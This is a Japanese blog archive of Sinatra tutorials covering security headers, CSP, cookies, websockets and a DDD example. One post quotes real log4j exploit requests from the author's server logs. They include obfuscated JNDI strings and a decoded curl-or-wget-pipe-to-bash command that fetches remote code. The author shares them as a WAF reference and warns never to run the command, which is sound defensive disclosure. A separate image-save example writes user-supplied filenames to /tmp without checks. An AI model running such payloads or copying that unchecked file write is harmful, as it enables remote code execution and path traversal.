ラベル sinatra の投稿を表示しています。 すべての投稿を表示
ラベル sinatra の投稿を表示しています。 すべての投稿を表示

2025年7月26日土曜日

Sinatra で静的ファイルにレスポンスヘッダーを追加する方法

Sinatra で静的ファイルにレスポンスヘッダーを追加する方法

概要

Rackミドルウェアを使います

環境

  • Ruby 3.4.4
  • Sinatra 4.1.1

設定方法

# 静的ファイルに対するヘッダーを設定するミドルウェア
class StaticHeadersMiddleware
  def initialize(app)
    @app = app
  end

  def call(env)
    status, headers, body = @app.call(env)

    path = env['PATH_INFO']
    if path =~ %r{^/(robots\.txt|favicon\.ico|img/|js/|css/|ipa/)}
      headers['Content-Security-Policy'] ||= "default-src 'self';"
      headers['Cross-Origin-Embedder-Policy'] ||= 'require-corp'
      headers['Cross-Origin-Opener-Policy'] ||= 'same-origin'
      headers['Cross-Origin-Resource-Policy'] ||= 'same-origin'
    end

    [status, headers, body]
  end
end

use StaticHeadersMiddleware

最後に

これで zaproxy の Insufficient Site Isolation Against Spectre Vulnerability に静的ファイルも対処できます

2025年7月25日金曜日

Sinatra で Cookie に SameSite 属性を設定する方法

Sinatra で Cookie に SameSite 属性を設定する方法

概要

Sinatra::Base で設定します

環境

  • Ruby 3.4.4
  • Sinatra 4.1.1

設定方法

class BasePage < Sinatra::Base
  enable :sessions
  set :session_secret, Credential::APP_SESSION_SECRET
  set :sessions,
      httponly: true,
      secure: production?,
      same_site: :lax
end

最後に

これで zaproxy の Cookie without SameSite Attribute に対応できます

2025年7月24日木曜日

Sinatra に CORP, COEP, COOP ヘッダを設定する方法

Sinatra に CORP, COEP, COOP ヘッダを設定する方法

概要

Sinatra::Base で設定します

環境

  • Ruby 3.4.4
  • Sinatra 4.1.1

設定方法

class BasePage < Sinatra::Base
  before do
    setup_response_headers
  end

  def setup_response_headers
    # Content Security Policy (CSP) の設定
    unless request.path.start_with?('/podcast/feed')
      csp = CSP.new.header
      headers 'Content-Security-Policy' => csp
    end
    # Cross-Origin Resource Policy (CORP) の設定
    headers 'Cross-Origin-Resource-Policy' => 'same-origin'
    # Cross-Origin Embedder Policy (COEP) の設定
    headers 'Cross-Origin-Embedder-Policy' => 'unsafe-none'
    # Cross-Origin Opener Policy (COOP) の設定
    headers 'Cross-Origin-Opener-Policy' => 'same-origin'
  end
end

最後に

これで zaproxy の Insufficient Site Isolation Against Spectre Vulnerability に対応できます

2025年7月23日水曜日

Sinatra で CSP レスポンスヘッダーを設定して XSS 対策する方法

Sinatra で CSP レスポンスヘッダーを設定して XSS 対策する方法

概要

CSP ヘッダを明示しなくても大きな問題にはなりませんが基本的に何でも受け入れる設定なので可能な限り設定したほうがいいかなと思います
そもそも外部にアクセスせずに self のみで完結するのが理想ですがそういうわけにもいかないのでアクセスするべき外部サイトを明示化しておくことでセキュリティ対策になる感じです

今回は Sinatra アプリで CSP (Content Security Policy) レスポンスヘッダーを設定する方法を紹介します

環境

  • Ruby 3.4.4
  • Sinatra 4.1.1

サンプルコード

まずは CSP を管理するクラスを定義します

  • vim libs/csp.rb
# frozen_string_literal: true

# Content-Security-Policy (CSP) の設定を行うクラス
class CSP
  def header
    "#{script_src} #{img_src} #{style_src} #{frame_src} #{connect_src} #{media_src} #{other_src}"
  end

  def script_src # rubocop:disable Metrics/MethodLength
    script_src_url_list = [
      'https://cdn.jsdelivr.net',
      'https://code.jquery.com',
      'https://www.googletagmanager.com',
      'https://cdnjs.cloudflare.com',
      'https://d3js.org',
      'https://unpkg.com',
      'https://www.youtube.com'
    ]
    gtag_hash = "'sha256-3j3z4K5sw7JEbB9oTbDCJixRv+lWuUYVNr8dOyKK7C0='"
    "script-src 'self' #{gtag_hash} #{script_src_url_list.join(' ')};"
  end

  def img_src # rubocop:disable Metrics/MethodLength
    img_src_url_list = [
      'https://lh3.googleusercontent.com',
      'https://blogger.googleusercontent.com',
      'https://addons.mozilla.org',
      'https://pbs.twimg.com',
      'http://pbs.twimg.com',
      'https://avatars.githubusercontent.com',
      'https://c10.patreonusercontent.com'
    ]
    "img-src 'self' data: #{img_src_url_list.join(' ')};"
  end

  def style_src
    style_src_url_list = [
      'https://cdn.jsdelivr.net',
      'https://unpkg.com',
      'https://cdnjs.cloudflare.com',
      'https://cdn.plyr.io/'
    ]
    # public/js/fontawesome-all.min.js が書き換わったら以下のハッシュが変わる可能性もある
    font_awesome_hash = "'sha256-bviLPwiqrYk7TOtr5i2eb7I5exfGcGEvVuxmITyg//c='"
    # views/alchol.erb で使用しているd3.jsのハッシュ
    d3_hash = "'sha256-WrkFMt0yMbnytekpJNs62cGCUpYDzgmKFnWzVnKQ6YY='"
    "style-src 'self' #{font_awesome_hash} #{d3_hash} #{style_src_url_list.join(' ')};"
  end

  def frame_src
    frame_src_url_list = [
      'https://www.youtube.com'
    ]
    "frame-src 'self' #{frame_src_url_list.join(' ')};"
  end

  def connect_src
    connect_src_url_list = [
      'https://cdn.plyr.io'
    ]
    "connect-src 'self' #{connect_src_url_list.join(' ')};"
  end

  def media_src
    media_src_url_list = [
      'https://storage.googleapis.com'
    ]
    "media-src 'self' #{media_src_url_list.join(' ')};"
  end

  def other_src
    [
      "form-action 'self';",
      "frame-ancestors 'self';",
      "font-src 'self';",
      "object-src 'self';",
      "manifest-src 'self';"
    ].join(' ')
  end
end

基本的には各 CSP ヘッダごとに「許可するサイト」「許可するハッシュ」を定義します
許可するサイトは見慣れた CDN サイトが並ぶ感じになります

許可するハッシュはどうしても style タグを使って直接 CSS を指定している場合にだけ使うので CSS ファイルを外部ファイルで管理している場合には不要です

使う側

CSP レスポンスヘッダーを指定するのは before が一番簡単です
特定のパスだけ適用したくない場合などは unless いましょう

before do
  # Content Security Policy (CSP) の設定
  unless request.path.start_with?('/podcast/feed')
    csp = CSP.new.header
    headers 'Content-Security-Policy' => csp
  end
end

動作確認

アプリを起動して問題なくすべてのコンテンツ (js or css or img etc) が取得できることを確認しましょう
Chrome などの開発者ツールでコンソールにエラーがないことを書くにしましょう
CSP は基本的にホワイトリスト形式なので設定が足りていないとコンテンツが取得できずエラーになりうまくサイトが表示できなくなります

基本的には CSP を設定した場合には style タグや onclick タグは使えないと思ったほうがいいです
css ファイルや js ファイルにすべて処理を移す感じになります

最後に

CSP レスポンスヘッダーを正しく設定することで XSS 対策しセキュアコードしましょう

参考サイト

2024年11月19日火曜日

Sinatra 4.1.0 から permitted_hosts を有効にする必要があります

Sinatra 4.1.0 から permitted_hosts を有効にする必要があります

概要

XFH を使ったオープンリダイレクトの脆弱性を指摘され rack_protection を使ったホスト名 認証を導入したので設定が必要になります
許可されていないホストからのアクセスは Host not permitted になります

環境

  • macOS 15.1
  • Ruby 3.3.5
  • Sinatra 4.1.0

対応方法

host_authorization で permitted_hosts に許可したホスト名を指定します

すべてのホストを許可する場合は空の配列で OK です

require "sinatra/base"

class ExampleApp < Sinatra::Base
  # disable it only for development
  configure :development do
    set :host_authorization, { permitted_hosts: [] }
  end

  # but enable it for production for some domains
  configure :production do
    set :host_authorization, { permitted_hosts: [".example.com"] }
  end

  get("/") { "OK" }
end

最後に

デフォルトでは拒否状態になっているので本番にデプロイする場合は必ず設定する必要があります

参考サイト

2024年2月16日金曜日

Sinatra v4 にバージョンアップしてみた

Sinatra v4 にバージョンアップしてみた

概要

自分のアプリを Sinatra v4 にアップデートしてみました
少し躓く点があったので紹介します

環境

  • macOS 11.7.10
  • Ruby 3.2.2
  • Sinatra 3.2.0 -> 4.0.0

アップデート方法

thin -> puma に変更

thin だと rack のバージョンが3以下でなければなりません
しかし sinatra が rack のバージョン3以上を必要としているため thin では v4 にアップデートできません

なので

gem 'thin'

gem 'puma'

rackup gem のインストール

rack v3 にすることで個別に rackup コマンドをインストールする必要があります

gem 'rackup'

アップデート

あとはアップデートするだけです

  • bundle update

rackup が初回インストールの場合はインストールもしましょう

  • bundle install

トラブルシュート

rackup コマンドがない場合に以下のエラーが発生します
config.ru でアプリを参照できていないわけではないので注意しましょう

bundler: failed to load command: rackup (/Users/hawk/data/repo/ruby-homepage/vendor/ruby/3.2.0/bin/rackup)
/Users/hawk/data/repo/ruby-homepage/vendor/ruby/3.2.0/gems/bundler-2.3.7/lib/bundler/rubygems_integration.rb:319:in `block in replace_bin_path': can't find executable rackup for gem rack (Gem::Exception)

最後に

リリースノートはこちらです

2023年6月2日金曜日

Sinatraのルーティングをクラスとして定義する方法

Sinatraのルーティングをクラスとして定義する方法

概要

Sinatra のルーティングをクラスとして定義する方法を紹介します
Sinatra::Base を使うのは当然なのですがルーティングの定義などもすべてインスタンスメソッドとして定義します

環境

  • macOS 11.7.6
  • Ruby 3.2.1
    • sinatra 3.0.6

サンプルコード

  • vim app.rb
# frozen_string_literal: true

require 'sinatra'

# / を管理するクラス
class MyApp < Sinatra::Base
  def initialize(path)
    super()
    @path = path
    routing
  end

  def routing
    MyApp.get @path do
      'hello'
    end
  end

  # 例えばルーティングに関する情報を使って何かを生成することもできる
  def to_h
    {
      path: @path
    }
  end
end

config.ru

  • vim config.ru
# frozen_string_literal: true

require 'rack'
require './app'

run Rack::URLMap.new(
  {
    '/home' => MyApp.new('/') # ここを /fuga などにすると /home/fuga にアクセスできる
  }
)

動作確認

  • bundle exec rackup config.ru

ツールとして使う

Web アプリとしてではなくルーティング内に定義したインスタンスメソッドを別のツールとして使うこともできます

  • vim export.rb
# frozen_string_literal: true

require './app'

app = MyApp.new!('/')
puts app.to_h

ポイントは new! を使って強制的にインスタンス化して使います
rackup を挟んでいないので通常のクラスとして使えます

メリット

ルーティングをクラスとして定義することで複数のルーティングを定義した場合に共通の処理を親クラスに抽象化することができます
Mix-in なども使えます (そもそも Sinatra にはミドルウェアという機能があるのでそれと同じように使える)

逆に同じようなページを生成するのであればすでにあるルーティング用のクラスを使って同じページを生成できます

またルーティングに必要な情報 (パスやリクエストパラメータ、テンプレートに与える情報、ヘッダ、認証情報) などをクラス内で管理することができるようになるのでコードの可読性も上がります

デメリット

ルーティングを追加するのにわざわざクラスを一つ追加する必要があります

またせっかく DSL で簡単にアプリを定義できるのにクラス化するためのコードを増えるので記述量は多くなります
Rails っぽくなってしまうというのもあるかなと思います

最後に

使用するかどうかは開発するプロダクトの規模の大きさにもよるかもしれません

これにデータベースが絡んで来る場合などはむしろ Sinatra ではなく Rails を使ったほうがいいまであります

2022年4月13日水曜日

Sinatra で JavaScript を文字列として配信する方法

Sinatra で JavaScript を文字列として配信する方法

概要

わざわざファイルにして public 配下に置いて配信しないでも Sinatra で直接記載することもできます

環境

  • macOS 11.6.5
  • Ruby 3.1.1p18
  • Sinatra 2.2.0

サンプルコード

# coding: utf-8
require 'sinatra'

class WebApp < Sinatra::Base

  # HTMLのテンプレートを管理
  template :index do
    <<~EOF
      <html>
        <body>
          <div id="msg"></div>
          <script src="/js/sample.js"></script>
        </body>
      </html>
    EOF
  end

  # / に来たら :index テンプレートを返却してHTMLを表示する
  get '/' do
    erb :index
  end

  # :index テンプレート内で参照している /js/sample.js をここで配信する
  get '/js/sample.js' do
    content_type 'text/javascript'
    <<~EOF
      var msg = document.getElementById("msg");
      console.log(msg);
      document.getElementById("msg").innerHTML = "hoge";'
    EOF
  end
end

ヒアドキュメントで記載すれば複数行でも書けます
簡単な JavaScript であればこれでもいいかも

2022年1月31日月曜日

Sinatra の Extension 開発超入門

Sinatra の Extension 開発超入門

概要

Sinatra の拡張機能の開発入門としてとりあえず動作する拡張を作ってみたいと思います

また今回作成する拡張はヘルパーとして作成します

環境

  • macOS 11.6.2
  • Ruby 3.0.3p157
  • Sinatra 2.1.0

拡張の作成

拡張は Sinatra モジュール配下に作成します
今回はリクエストのヘッダを出力するような拡張にしてみます

  • vim test_ext.rb
require 'sinatra/base'

module Sinatra
  module LoggingHeader
    def hputs
      headers = request.env.select { |k, v| k.start_with?('HTTP_') }
      logger.info headers
    end
  end

  helpers LoggingHeader
end

LoggingHeader は拡張の名前になります
Sinatra::Base 配下で使用できるオブジェクトなどは拡張配下でも参照することができます
上記で言えば request オブジェクトを参照しています

作成した拡張機能を使う

  • vim test.rb
require 'sinatra'
require './test_ext'

get '/' do
  hputs
  'ok'
end

Sinatra の DSL をそのまま使うのであれば require するだけで拡張用のメソッドが使えるようになっています

クラシックスタイルで拡張を使うのであれば更に helpers Sinatra::LoggingHeader を記載します

拡張を使う場合はこれだけで OK です

拡張機能開発時にはルールがある

詳細は公式のドキュメントを確認してください
http://sinatrarb.com/extensions.html

Sinatar::Base クラスには直接変更を入れないでくださいやクラシックスタイルでもちゃんと使えるように記載する必要があるなどが書かれています

また今回はヘルパーとして作成しましたが Sinatra の DSL を拡張することもできます
その場合は helper ではなく register として呼び出す必要があるので注意してください

あとは gem として公開する

作成した拡張を公開するのであれば gem として作成してあげる必要があります
ディレクトリ構成などは公式に記載してあります

sinatra-fu
|-- README
|-- LICENSE
|-- Rakefile
|-- lib
|   `-- sinatra
|       `-- fu.rb
|-- test
|   `-- spec_sinatra_fu.rb
`-- sinatra-fu.gemspec

最後に

Sinatra の拡張機能を開発する方法を紹介しました

ルールがあるのでそれだけしっかりと守りましょう
Rubygems で公開する場合はディレクトリ構成なども守りましょう

参考サイト

2022年1月28日金曜日

Sinatra の initialize と configure はどちらも一回しかコールされない

Sinatra の initialize と configure はどちらも一回しかコールされない

概要

もしリクエストごとに毎回初期化したい場合は before などを使いましょう

環境

  • macOS 11.6.2
  • Ruby 3.0.3p157
  • Sinatra 2.1.0

動作確認用のコード

  • vim test.rb
require 'sinatra/base'

class TestWeb < Sinatra::Base
  def initialize()
    super
    puts "initialize"
    @age = (0..100).to_a.sample
  end

  configure do
    puts "configure"
    set :color, ['blue', 'red', 'green'].sample
  end

  get '/' do
    ret = "#{@age.to_s}, #{settings.color}"
    puts ret
    ret
  end
end
  • vim config.ru
require './test'

run TestWeb
  • bundle exec rackup config.ru
  • curl localhost:9292
configure
2022-01-27 10:38:45 +0900 Thin web server (v1.8.1 codename Infinite Smoothie)
2022-01-27 10:38:45 +0900 Maximum connections set to 1024
2022-01-27 10:38:45 +0900 Listening on localhost:9292, CTRL+C to stop
initialize
4, blue
::1 - - [27/Jan/2022:10:38:46 +0900] "GET / HTTP/1.1" 200 7 0.0144
4, blue
::1 - - [27/Jan/2022:10:38:47 +0900] "GET / HTTP/1.1" 200 7 0.0012
4, blue
::1 - - [27/Jan/2022:10:38:48 +0900] "GET / HTTP/1.1" 200 7 0.0011
4, blue
::1 - - [27/Jan/2022:10:38:48 +0900] "GET / HTTP/1.1" 200 7 0.0009
4, blue
::1 - - [27/Jan/2022:10:38:49 +0900] "GET / HTTP/1.1" 200 7 0.0015

ずっと同じ値が返ってくることがわかる

before を使う

  • vim test.rb
require 'sinatra/base'

class TestWeb < Sinatra::Base
  def initialize()
    super
    puts "initialize"
    @age = (0..100).to_a.sample
  end

  configure do
    puts "configure"
    set :color, ['blue', 'red', 'green'].sample
  end

  before do
    @age = (0..100).to_a.sample
    @color = ['blue', 'red', 'green'].sample
  end

  get '/' do
    ret = "#{@age.to_s}, #{@color}"
    puts ret
    ret
  end
end
  • vim config.ru
require './test'

run TestWeb
  • bundle exec rackup config.ru
  • curl localhost:9292
configure
2022-01-27 10:40:33 +0900 Thin web server (v1.8.1 codename Infinite Smoothie)
2022-01-27 10:40:33 +0900 Maximum connections set to 1024
2022-01-27 10:40:33 +0900 Listening on localhost:9292, CTRL+C to stop
initialize
9, green
::1 - - [27/Jan/2022:10:40:34 +0900] "GET / HTTP/1.1" 200 8 0.0398
59, blue
::1 - - [27/Jan/2022:10:40:35 +0900] "GET / HTTP/1.1" 200 8 0.0025
86, green
::1 - - [27/Jan/2022:10:40:35 +0900] "GET / HTTP/1.1" 200 9 0.0008
95, green
::1 - - [27/Jan/2022:10:40:36 +0900] "GET / HTTP/1.1" 200 9 0.0016
81, blue
::1 - - [27/Jan/2022:10:40:36 +0900] "GET / HTTP/1.1" 200 8 0.0011
93, blue
::1 - - [27/Jan/2022:10:40:37 +0900] "GET / HTTP/1.1" 200 8 0.0012
72, red
::1 - - [27/Jan/2022:10:40:38 +0900] "GET / HTTP/1.1" 200 7 0.0011

毎回違う

Tips

ちなみに configure ないではインスタンス変数に値を設定できないので set メソッドを使って設定し参照する場合は settings を使います

逆に before では set は使えません
Sinatra のインスタンス変数の扱うは少し面倒です

2021年12月23日木曜日

drawingboard.js でサーバサイドに画像を保存する方法

drawingboard.js でサーバサイドに画像を保存する方法

概要

前回 drawingboard.js に入門してみました
今回はサーバサイドに作成した画像を保存してみます
サーバサイドは Ruby で実装します

環境

  • macOS 11.6.2
  • Ruby 3.0.3p157
  • sinatra 2.1.0
  • drawingboard.js 0.4.2

config.ru

require './app'

run TestWeb

app.rb

require 'sinatra'
require 'base64'

class TestWeb < Sinatra::Base
  get '/' do
    erb :index
  end

  post '/' do
    filename = params[:filename]
    image = params[:image]
    image = Base64.decode64(image.gsub('data:image/png;base64,', '').gsub(/\s/, '+'))
    File.open("/tmp/#{filename}.png", 'wb') do |file|
      file.write(image)
      'ok'
    end
  end
end

index.erb

<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width">
  <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.js"></script>
  <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.css">
  <style data-example="2">
  #board1 {
    width: 400px;
    height: 400px;
  }
  </style>
</head>
<body>
  <div class="board" id="board1"></div>
  <input id="filename" type="text" value="image1" />
  <button id="save">Save</button>
  <script data-example="2">
  var board1 = new DrawingBoard.Board('board1', {
    background: "#000000",
    color: "#ffffff",
    size: 30,
    fillTolerance: 150,
    controls: [
      { Size: { type: "range", min: 12, max: 42 } },
      { Navigation: { back: true, forward: true } },
      'DrawingMode',
      'Color'
    ],
    webStorage: 'local',
    droppable: true
  });
  board1.addControl('Download');
  board1.downloadImg = function() {
    var img = this.getImg();
    img = img.replace("image/png", "image/octet-stream");
    var link = document.createElement('a');
    link.download = "download.png";
    link.href = img;
    link.click();
  };
  $('#save').on('click', function(e) {
    var img = board1.getImg();
    var filename = $("#filename").val();
    $.ajax({
      type: "POST",
      url: "/",
      enctype: 'multipart/form-data',
      data: "image=" + img + '&filename=' + filename,
      success: function(msg){
        alert( "Data Saved: " + msg );
      },
      error: function(XMLHttpRequest, textStatus, errorThrown) {
        alert("some error");
      }
    });
  });
  </script>
</body>
</html>

ちょっと解説

画像情報を送信する場合は base64 エンコードされたデータを文字列で送信します
わざわざバイナリ変換してファイルとして送信する方法もありますが文字列のほうが扱いが楽なので文字列のまま使います

base64 の文字列を送信する場合は ajax を使います
POST で multipart/form-data として送信します
こうすることで一緒にファイル名も送信できます

Ruby (sinatra) 側ではフォームデータとして画像データとファイル名を取得します
それぞれ params から文字列として取得できます
画像データは不要な文字列をエスケープしスペースをプラスに置換します

あとは Base64.decode しファイルをバイナリ形式で保存すれば OK です
実際にファイル化するのが嫌な場合は Redis などに文字列としてそのまま保存すると良いかなと思います

最後に

なぜか ajax から受け取った画像の base64 データがサーバサイドだと一部置換されているのでそこをちゃんと補完してあげることを忘れないようにしましょう

参考サイト

2021年12月18日土曜日

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

概要

log4j の脆弱性を悪用するリクエストが自分のサーバにも来ていたので紹介します

基本は log4j を使っていなければ大丈夫ですが無駄なリクエストを弾くこともできるので WAF などに設定の参考になるかなと思います

環境

  • GCP
  • Ruby
  • Sinatra

パス

web_1    | 167.99.44.32 - - [11/Dec/2021:19:50:33 +0000] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 6666 0.0093
web_1    | 45.155.205.233 - - [12/Dec/2021:05:27:12 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0099
web_1    | 45.83.65.2 - - [13/Dec/2021:03:43:00 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 6666 0.0085
web_1    | 195.54.160.149 - - [17/Dec/2021:02:13:04 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0096

ちなみに base64 されていた文字列はデコードすると以下のようなシェルになっていました (注意:間違っても実行しないように)

(curl -s 45.155.205.233:5874/35.208.209.122:443||wget -q -O- 45.155.205.233:5874/35.208.209.122:443)|bash

IP はハニーポットの IP っぽいです

ヘッダ

web_1    | I, [2021-12-17T02:13:04.435652 #1]  INFO -- : {"HTTP_VERSION"=>"HTTP/1.1", "HTTP_HOST"=>"35.208.209.122:443", "HTTP_CONNECTION"=>"close", "HTTP_X_REAL_IP"=>"195.54.160.149", "HTTP_X_FORWARDED_FOR"=>"195.54.160.149", "HTTP_X_FORWARDED_PROTO"=>"https", "HTTP_X_FORWARDED_SSL"=>"on", "HTTP_X_FORWARDED_PORT"=>"443", "HTTP_USER_AGENT"=>"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_REFERER"=>"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_ACCEPT_ENCODING"=>"gzip"}

UserAgent, Referer に base64 化されたスクリプトが仕込まれていました

2021年12月17日金曜日

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

概要

過去に attachment を使った方法を紹介しました

今回は send_file を使います

環境

  • macOS 11.6.1
  • Ruby 3.0.3p157
  • Sinatra 2.1.0

サンプルコード

  • vim app.rb
require 'sinatra'

class DownloadApp < Sinatra::Base

  get '/send_file/:file_name' do |file_name|
    send_file(file_name, disposition: 'attachment')
  end

  not_found do
    "file not found"
  end
end
require './test'

run DownloadApp
  • touch hoge

起動

動作確認

  • curl -O -v localhost:9292/send_file/hoge
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Content-Disposition: attachment; filename="hoge"
< Last-Modified: Mon, 13 Dec 2021 23:45:05 GMT
< Content-Length: 15
< X-Content-Type-Options: nosniff
< Connection: keep-alive
< Server: thin

Content-Disposition が設定されていることがわかります
また attachment とは違いファイルの情報をそのまま送るため送信データを最後に記載する必要がありません

ファイルの最終更新日 (Last-Modified) もヘッダに設定されます

最後に

attachment はあくまでもヘッダの設定で send_file はヘッダの設定も含めてレスポンスを返してくれるヘルパーメソッドになります

2021年10月7日木曜日

Sinatra で自作 websocket サーバを実装する

Sinatra で自作 websocket サーバを実装する

概要

Sinatra を使って websocket サーバを実装する方法を紹介します sinatra-websocket という gem があるのでこれを使うと簡単に実装できます

環境

  • macOS 11.6
  • Ruby 3.0.2p107
    • sinatra 2.1.0

準備

  • bundle init
  • vim Gemfile
gem "sinatra"
gem "sinatra-websocket"
gem "thin"
  • bundle install

WebSocket サーバの実装

  • vim app.rb
require 'sinatra'
require 'sinatra-websocket'

class WSApp < Sinatra::Base

  set :sockets, []

  get '/' do
    if !request.websocket?
      erb :index
    else
      request.websocket do |ws|
        ws.onopen do
          ws.send("Hello World!")
          settings.sockets << ws
        end
        ws.onmessage do |msg|
          EM.next_tick do
            settings.sockets.each do |s|
              s.send("Echo message: " + msg)
            end
          end
        end
        ws.onclose do
          warn("websocket closed")
          settings.sockets.delete(ws)
        end
      end
    end
  end

end

少し解説

!request.websocket? でリクエストが websocket がどうか判断できます

ws.onopen で接続時の処理を記載できます

ws.onmessage でメッセージ受信時の処理を記載できます

ws.onclose で切断時の処理を記載できます

接続しているクライアントごとにソケットを管理する必要があるので settings.sockets の配列でソケットを管理します

今回は受け取ったメッセージに「Echo message:」を付与してクライアント側に送信しています

サーバ起動スクリプト

require './app'
run WSApp

動作確認

でサーバを起動します
動作確認は適当な Websocket クライアントを使います
今回はこちらを使いました (ブラウザの Extension などもあるのでそれでも OK です)

接続先は ws://localhost:9292 を指定しましょう

あとは接続して適当にメッセージを送信してみるとちゃんとメッセージが返ってくるのが確認できると思います

最後に

最近だと無料で使える MQTT/Websocket サービスがあるのでそれを使ったほうが良いかなと思います

自分でメッセージのハンドリングや加工をしたい場合には自作の websocket が役に立つと思います

参考サイト

2021年5月12日水曜日

Sinatra で Web アプリの DDD に入門

Sinatra で Web アプリの DDD に入門

概要

前回 Ruby で軽量 DDD 的なことをしてみました
今回は Sinatra を使って Web アプリに DDD を適用してみます
正直アプリの規模に対して回りくどいことをしているような感じですが DDD の練習なので気にせず進めてください

環境

  • macOS 11.3.1
  • Ruby 3.0.0
    • sinatra 2.1.0

作成するアプリについて

今回は簡単なユーザ登録と取得を行うアプリを考えます
ユーザはデータベースに登録する想定です
データベースは今回はインメモリを使います

アプリの構成

DDD にするにあたってモデルなどの抽出が必要になります
今回は「ユーザ」をモデルとし以下の構成でアプリを作成していきます
なおアーキテクチャはレイヤードを採用します

tree . -I vendor
.
├── Gemfile
├── Gemfile.lock
├── application
│   └── user
│       ├── user_application_service.rb
│       ├── user_create_command.rb
│       ├── user_data.rb
│       ├── user_get_command.rb
│       └── user_get_result.rb
├── domain
│   ├── model
│   │   └── user
│   │       ├── user.rb
│   │       ├── user_id.rb
│   │       ├── user_mail.rb
│   │       └── user_name.rb
│   ├── service
│   │   └── user_service.rb
│   └── shared
├── in_memory
│   └── user
│       └── in_memory_user_repository.rb
├── presentation
│   ├── app.rb
│   └── config.ru
└── test
    └── test_user.rb

11 directories, 16 files
  • bundle init
  • vim Gemfile
gem "sinatra"
gem "sinatra-contrib"
gem "thin"
  • bundle install

ドメインレイヤーの作成

domain 配下に model と service と shared を作成します
shared は今回使いませんが作成しています
ファクトリパターンを使う場合は model 配下にファクトリを作成しましょう

  • mkdir domain
  • mkdir domain/model
  • mkdir domain/model/user
  • touch domain/model/user/user.rb
  • touch domain/model/user/user_id.rb
  • touch domain/model/user/user_name.rb
  • touch domain/model/user/user_mail.rb
  • mkdir domain/service
  • touch domain/service/user_service.rb
  • mkdir domain/shared

アプリケーションレイヤーの作成

application 配下に作成します
今回はモデルが user だけなので user だけ作成します
xxx_command.rb はアプリケーションの入力に使います
user_data.rb はアプリケーションの出力に使います

  • mkdir application/
  • mkdir application/user
  • touch application/user/user_application_service.rb
  • touch application/user/user_get_command.rb
  • touch application/user/user_create_command.rb
  • touch application/user/user_data.rb

インフラのレイヤーの作成

今回はインメモリしか使わないので in_memory 配下に作成します

  • mkdir in_memory
  • mkdir in_memory/user
  • touch in_memory/user/in_memory_user_repository.rb

プレゼンテーションレイヤーの作成

presentation 配下に作成します
ここに Sinatra アプリを配置します

  • mkdir presentation
  • touch presentation/app.rb
  • touch presentation/config.rb

ドメインモデルの実装

まずはドメインモデルを作成します
今回は User がドメインモデルでそのドメインモデルが持つパラメータを値オブジェクトとして定義します
ドメインモデルと値オブジェクトではバリデーションチェックを行います
今回は簡単なフォーマットチェックと型チェックのみを行っています
ここは各自のサービスに合わせてバリデーションチェックを増やしてください

  • vim domain/model/user/user.rb
require 'securerandom'
require './domain/model/user/user_id'
require './domain/model/user/user_name'
require './domain/model/user/user_mail'

class User
  def initialize(name, mail)
    raise Exception.new("A name must be in the UserName class") unless name.is_a?(UserName)
    raise Exception.new("A mail must be in the UserMail class") unless mail.is_a?(UserMail)
    @id = UserId.new(SecureRandom.uuid)
    @name = name
    @mail = mail
  end

  def self.restore(id, name, mail)
    raise Exception.new("An id must be in the UserId class") unless id.is_a?(UserId)
    raise Exception.new("A name must be in the UserName class") unless name.is_a?(UserName)
    raise Exception.new("A mail must be in the UserMail class") unless mail.is_a?(UserMail)
    @id = id
    @name = name
    @mail = mail
  end

  def change_name(name)
    raise Exception.new("A name must be in the UserName class") unless name.is_a?(UserName)
    @name = name
  end

  attr_reader :id, :name, :mail
end
  • vim domain/model/user/user_id.rb
class UserId
  def initialize(value)
    uuid_regex = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
    raise Exception.new("A uuid format is incorrect") unless uuid_regex.match?(value.to_s.downcase)
    @value = value
  end

  attr_reader :value
end
  • vim domain/model/user/user_name.rb
class UserName
  def initialize(value)
    raise Exception.new("A name must be at least 3 characters") if value.size < 3
    @value = value
  end

  def eql?(name)
    return true if @value == name.value
    return false
  end

